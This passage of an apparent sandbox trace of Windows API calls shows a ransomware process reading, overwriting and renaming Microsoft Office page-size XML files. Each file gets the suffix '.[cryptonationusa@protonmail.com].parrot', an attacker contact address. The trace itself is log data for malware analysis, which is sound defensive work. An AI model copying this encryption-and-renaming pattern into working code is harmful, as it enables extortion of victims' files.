office\\office14\\pagesize\\pglbl012.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.330] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.330] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.331] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.332] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22cf0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x22cf0, lpOverlapped=0x0) returned 1 [0199.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.339] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.401] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.401] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.403] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.403] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x101bc, lpOverlapped=0x0) returned 1 [0199.404] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.407] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.417] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.417] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.421] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.421] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24c9a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x24c9a, lpOverlapped=0x0) returned 1 [0199.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.427] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.441] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.441] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.442] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.442] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f4e6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f4e6, lpOverlapped=0x0) returned 1 [0199.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.446] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.456] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.456] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.457] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.458] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6d7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6d7e, lpOverlapped=0x0) returned 1 [0199.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.459] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.468] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.468] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.469] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.470] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x266a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x266a4, lpOverlapped=0x0) returned 1 [0199.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.477] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.538] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.538] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.540] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0199.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.570] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.570] WriteFile (in: hFile=0x284, lpBuffer=0x319c470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319c470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0199.574] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.574] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0199.576] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10e6a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0199.576] CloseHandle (hObject=0x284) returned 1 [0199.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0199.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31aa260 [0199.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.586] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.586] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.588] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.588] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59f76, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x59f76, lpOverlapped=0x0) returned 1 [0199.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.602] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.631] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.631] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.633] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.633] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26c44, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26c44, lpOverlapped=0x0) returned 1 [0199.635] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.639] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.653] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.653] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.654] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.655] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x165d6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x165d6, lpOverlapped=0x0) returned 1 [0199.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.658] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.668] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.668] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.707] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.707] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xacb30, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xacb30, lpOverlapped=0x0) returned 1 [0199.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.731] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.800] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.801] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.802] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.802] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6134, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6134, lpOverlapped=0x0) returned 1 [0199.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.804] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.812] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.812] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.820] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.820] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x753, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x753, lpOverlapped=0x0) returned 1 [0199.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.821] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0199.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0199.828] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.828] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0199.829] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.830] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe944e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe944e, lpOverlapped=0x0) returned 1 [0199.837] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0199.857] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0199.858] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.159] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.159] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.161] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38d3a, 